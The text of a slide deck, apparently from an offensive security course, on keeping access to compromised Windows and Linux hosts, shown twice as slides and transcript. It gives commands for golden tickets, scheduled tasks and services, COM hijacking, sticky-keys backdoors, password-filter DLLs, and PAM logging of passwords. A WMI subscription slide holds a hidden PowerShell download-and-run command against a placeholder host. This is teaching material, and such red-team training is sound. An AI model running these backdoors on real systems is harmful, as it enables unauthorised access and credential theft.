Leveraging Persistence for Offensive Security

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Persistence
 
Offensive Security
 
Persistence
 
Goals of an assessment
Penetration test
Red team engagement
 
User Persistence
Fewer options
Elevated Persistence
Requires privilege escalation
 
Offensive Security
 
2
 
Why?
 
Host reboots
Ex. You broke a service with an exploit
Callback/Meterpreter/Shell dies
Some tools are better than others
Meterpreter can sometimes call back after a connection dies
Remember how these types of tools work
Manipulate the system in a way they weren’t intended
Network goes down for a short time
 
Offensive Security
 
3
 
Pieces of Persistence
 
Storage
Where is the content being stored
Script
Exe/Elf
Command
Con: Putting something on disk
Trigger
What tells the mechanism to execute?
 
Creativity is required for both
 
 
Offensive Security
 
4
 
Things to Remember
 
Never leave the system in a less secure state
 
What your name your files is important
 
Where you place your files is important
 
There are so many more ways to stay on a system than
what I’ll present here
 
 
Offensive Security
 
5
 
Credentials
 
Stealing credentials
Creating local accounts
Creating domain accounts
Domain golden tickets/silver tickets
From Mimikatz:
golden_ticket_create -u [user] -d [domain] -k
[krbtgthash] -s [domain SID] -t [/path/to/file]
Domain skeleton keys
Adding SSH keys to accounts
 
Offensive Security
 
6
 
Good Ol’ Run Key
 
Within the registry there are paths that autorun at start
Run Keys
Leaving a binary on disk
Using a run key to call it
HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Ru
n\\
Every time the system starts it executes your executable
 
You can also place entire scripts in registry keys to run
 
Offensive Security
 
7
 
Scheduled Tasks/Cron
 
Simple, yet effective
Windows/Linux automating execution
Schtasks/At
schtasks /create /tn Updater /tr “command to
run” /sc onlogon /f /ru System
 
Offensive Security
 
8
 
Creating a Service
 
Services normally run as escalated uses
Helps to blend in
Run on start
 
Can place the binary anywhere on the system to help hide
 
sc 
\\host
 create "service" binpath=
"bin_path" start=demand DisplayName="caption"
 
Offensive Security
 
9
 
Linux Service Modification
 
Services use multiple files to run
 
Config files
Extra setup scripts
 
Service binary itself
 
Offensive Security
 
10
 
COM object hijacking
 
System that allows apps to communicate through the OS
COM object is defined by CLSID
Load via malicious DLL or Vbscript
Some of these autorun
Example:
HKCU\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-
88bd00b4a5e7}\InprocServer32
HKCU\Software\Classes\Wow6432Node\CLSID\{BCDE0395-E52F-467C-
8E3D-C4579291692E }\InprocServer32
 
Not detected by Sysinternals Autoruns
 
Offensive Security
 
11
 
https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
 
WMI Event Subscription
 
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter
CREATE Name="VirusScan", EventNameSpace="root\cimv2",
QueryLanguage="WQL", Query="SELECT * FROM
Win32_ProcessStartTrace WHERE ProcessName='notepad.exe'"
wmic /NAMESPACE:"\\root\subscription" PATH
CommandLineEventConsumer CREATE Name="VirusScan",
CommandLineTemplate="powershell.exe -nop -w hidden -c \"IEX
((new-object
net.webclient).downloadstring('https://URL.com/file'))\"”
wmic /NAMESPACE:"\\root\subscription" PATH
__FilterToConsumerBinding CREATE
Filter="__EventFilter.Name=\"VirusScan\"",
Consumer="CommandLineEventConsumer.Name=\"PushVirusScan\""
 
 
Offensive Security
 
12
 
DLL Hijacking
 
Similar to what we talked about in privilege escalation
 
Placing a malicious DLL in Windows search path
 
Could still call the real DLL to make sure that programs
execute normally
 
Offensive Security
 
13
 
Sticky Keys
 
Good for CCDC events
Can modify the binary used by sticky keys
 
 
Change the binary used for on-screen keyboard to cmd.exe
Registry
From the login screen, click on screen keyboard
Shell!
 
Offensive Security
 
14
 
Backdooring executables
 
Windows
Binaries often have ”code caves”
Can add our own code to them
 
Linux
Open source
Can compile our own version of binaries and replace the native ones
 
Completely reliant on the executables being run
 
Offensive Security
 
15
 
DLL Filter/Pam.d Module
 
Creating a malicious DLL filter on a domain controller
When a user attempts to change their domain password a
few things happen first
Goes to the DC
Runs through any defined filters
Hashed and stored
reg query
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v
"Notification Packages"
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
/v "Notification Packages" /t REG_MULTI_SZ /d
scecli\0rassfm\0audit /f
 
Offensive Security
 
16
 
Pam.d Module
 
Pam is responsible for authentication
Cleartext password goes through this first
Install a modified version of Pam to log the passwords used
before they are hashed
Log to file
File accessible by non-root account
Send out over network
 
Offensive Security
 
17
 
Getting Detected
 
Even if you bypass AV…
 
SysInternals Autoruns will pick up all of these
If a defender uses this or similar techniques to check the machine
 
If you aren’t careful where you place or name your binary or
trigger
 
Offensive Security
 
18
 
More places to check out
 
http://www.hexacorn.com/blog/2017/01/28/beyond-good-ol-
run-key-all-parts/
 
https://attack.mitre.org/tactics/TA0003/
 
 
Offensive Security
 
19
 
Next time…
 
We’ll start talking about how these implants call back
Efficiency
Stealth
Reliability
 
Command and control
C2
 
Offensive Security
 
20
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Explore the tactics and techniques of persistence for offensive security, covering topics such as penetration testing, red team engagements, credential stealing, and utilizing registry keys and scheduled tasks. Discover ways to maintain access to systems through unauthorized means and understand the importance of security fundamentals for system protection.

  • Offensive Security
  • Persistence
  • Penetration Testing
  • Red Team
  • Credentials
  • Registry Keys

Uploaded on Oct 07, 2024 | 0 Views


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Presentation Transcript


  1. Persistence Offensive Security

  2. Persistence Goals of an assessment Penetration test Red team engagement User Persistence Fewer options Elevated Persistence Requires privilege escalation Offensive Security 2

  3. Why? Host reboots Ex. You broke a service with an exploit Callback/Meterpreter/Shell dies Some tools are better than others Meterpreter can sometimes call back after a connection dies Remember how these types of tools work Manipulate the system in a way they weren t intended Network goes down for a short time Offensive Security 3

  4. Pieces of Persistence Storage Where is the content being stored Script Exe/Elf Command Con: Putting something on disk Trigger What tells the mechanism to execute? Offensive Security Creativity is required for both 4

  5. Things to Remember Never leave the system in a less secure state What your name your files is important Where you place your files is important Offensive Security There are so many more ways to stay on a system than what I ll present here 5

  6. Credentials Stealing credentials Creating local accounts Creating domain accounts Domain golden tickets/silver tickets From Mimikatz: golden_ticket_create -u [user] -d [domain] -k [krbtgthash] -s [domain SID] -t [/path/to/file] Domain skeleton keys Offensive Security Adding SSH keys to accounts 6

  7. Good Ol Run Key Within the registry there are paths that autorun at start Run Keys Leaving a binary on disk Using a run key to call it HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Ru n\\ Every time the system starts it executes your executable Offensive Security You can also place entire scripts in registry keys to run 7

  8. Scheduled Tasks/Cron Simple, yet effective Windows/Linux automating execution Schtasks/At schtasks /create /tn Updater /tr command to run /sc onlogon /f /ru System Offensive Security 8

  9. Creating a Service Services normally run as escalated uses Helps to blend in Run on start Can place the binary anywhere on the system to help hide Offensive Security sc \\host create "service" binpath= "bin_path" start=demand DisplayName="caption" 9

  10. Linux Service Modification Services use multiple files to run Config files Extra setup scripts Service binary itself Offensive Security 10

  11. COM object hijacking System that allows apps to communicate through the OS COM object is defined by CLSID Load via malicious DLL or Vbscript Some of these autorun Example: HKCU\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee- 88bd00b4a5e7}\InprocServer32 HKCU\Software\Classes\Wow6432Node\CLSID\{BCDE0395-E52F-467C- 8E3D-C4579291692E }\InprocServer32 Offensive Security Not detected by Sysinternals Autoruns 11 https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence

  12. WMI Event Subscription wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="VirusScan", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='notepad.exe'" wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="VirusScan", CommandLineTemplate="powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('https://URL.com/file'))\" wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"VirusScan\"", Consumer="CommandLineEventConsumer.Name=\"PushVirusScan\"" Offensive Security 12

  13. DLL Hijacking Similar to what we talked about in privilege escalation Placing a malicious DLL in Windows search path Could still call the real DLL to make sure that programs execute normally Offensive Security 13

  14. Sticky Keys Good for CCDC events Can modify the binary used by sticky keys Change the binary used for on-screen keyboard to cmd.exe Registry From the login screen, click on screen keyboard Shell! Offensive Security 14

  15. Backdooring executables Windows Binaries often have code caves Can add our own code to them Linux Open source Can compile our own version of binaries and replace the native ones Offensive Security Completely reliant on the executables being run 15

  16. DLL Filter/Pam.d Module Creating a malicious DLL filter on a domain controller When a user attempts to change their domain password a few things happen first Goes to the DC Runs through any defined filters Hashed and stored reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v "Notification Packages" Offensive Security reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v "Notification Packages" /t REG_MULTI_SZ /d scecli\0rassfm\0audit /f 16

  17. Pam.d Module Pam is responsible for authentication Cleartext password goes through this first Install a modified version of Pam to log the passwords used before they are hashed Log to file File accessible by non-root account Send out over network Offensive Security 17

  18. Getting Detected Even if you bypass AV SysInternals Autoruns will pick up all of these If a defender uses this or similar techniques to check the machine If you aren t careful where you place or name your binary or trigger Offensive Security 18

  19. More places to check out http://www.hexacorn.com/blog/2017/01/28/beyond-good-ol- run-key-all-parts/ https://attack.mitre.org/tactics/TA0003/ Offensive Security 19

  20. Next time We ll start talking about how these implants call back Efficiency Stealth Reliability Command and control C2 Offensive Security 20

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